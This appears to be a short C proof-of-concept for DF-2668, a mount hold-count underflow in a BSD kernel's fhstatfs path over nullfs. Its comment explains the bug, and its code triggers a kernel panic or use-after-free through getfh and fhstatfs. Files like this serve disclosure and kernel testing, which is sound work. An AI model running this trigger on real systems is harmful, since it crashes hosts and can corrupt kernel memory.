DF-2668 / fhstatfs_hold.c
/* * DF-2668 - struct mount hold-count underflow / premature free via * fhstatfs(2)/fhstatvfs(2) on a nullfs-covered file handle. * * sys_fhstatfs() takes a *held* mount from vfs_getvfs() * (sys/kern/vfs_syscalls.c:5063) but then overwrites the pointer with * vp->v_mount (line 5074) and finally mount_drop()s that overwritten * pointer (line 5096). nullfs VFS_FHTOVP is a pass-through that * returns a vnode of the *lower* filesystem * (sys/vfs/nullfs/null_vfsops.c:389-397), so: * * - the vfs_getvfs() hold on the nullfs mount leaks, * - the lower mount gets an unmatched mount_drop() -> * mnt_hold 1 -> 0 -> KKASSERT(mp->mnt_refs == 0) fails on * INVARIANTS kernels (panic) / kfree() of a live mount on * release kernels (use-after-free). * * Run as root. Prereq: a nullfs mount with an anchor file under it. * Expected: kernel panic in mount_drop (KKASSERT mp->mnt_refs == 0). */ #include <sys/param.h> #include <sys/mount.h> #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #ifndef SYS_getfh #define SYS_getfh 161 #endif #ifndef SYS_fhstatfs #define SYS_fhstatfs 297 #endif #ifndef SYS_fhstatvfs #define SYS_fhstatvfs 502 #endif int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/tmp/nmtest/anchor"; fhandle_t fh; struct statfs sb; long rv; memset(&fh, 0, sizeof(fh)); memset(&sb, 0, sizeof(sb)); rv = syscall(SYS_getfh, path, &fh); if (rv < 0) { perror("getfh"); return (1); } printf("DF-2668: getfh(%s) ok; fh_fsid = %08x,%08x\n", path, fh.fh_fsid.val[0], fh.fh_fsid.val[1]); fflush(stdout); /* This mount_drop()s the LOWER (hammer2) mount without a hold. */ rv = syscall(SYS_fhstatfs, &fh, &sb); if (rv < 0) perror("fhstatfs"); else printf("DF-2668: fhstatfs returned ok f_type=%d\n", sb.f_type); fflush(stdout); printf("DF-2668: survived fhstatfs (no KKASSERT?)\n"); return (0); } |